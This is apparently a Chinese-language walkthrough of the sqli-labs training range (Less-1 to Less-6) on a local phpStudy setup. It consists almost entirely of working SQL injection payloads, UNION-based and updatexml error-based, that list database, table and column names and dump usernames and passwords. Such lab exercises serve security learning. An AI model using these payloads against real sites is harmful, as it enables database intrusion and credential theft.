一、靶场信息

sqli-labs下载：https://github.com/Audi-1/sqli-labs

phpstudy下载地址：http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境，相比于在服务器上搭建环境，更加简单

二、注入实操

Less-1

爆库名：http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+

爆表名：?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列名：?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

爆数据：?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

爆库名：?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+

爆表名：?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆列名：?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

爆数据：?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

爆库名：?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+

爆表名：?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆列名：?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

爆数据：?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

爆库名：?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+

爆表名：?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆列名：?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

爆数据：?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

爆库名：?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+

 

爆表名：?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长，显示不全，使用substr函数进行截取：

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+

爆列名：?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+

爆数据：?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

字符过长，显示不全，使用substr函数进行截取：

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

爆库名：?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

爆表名：?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

 

爆列名：?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+

爆数据：?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+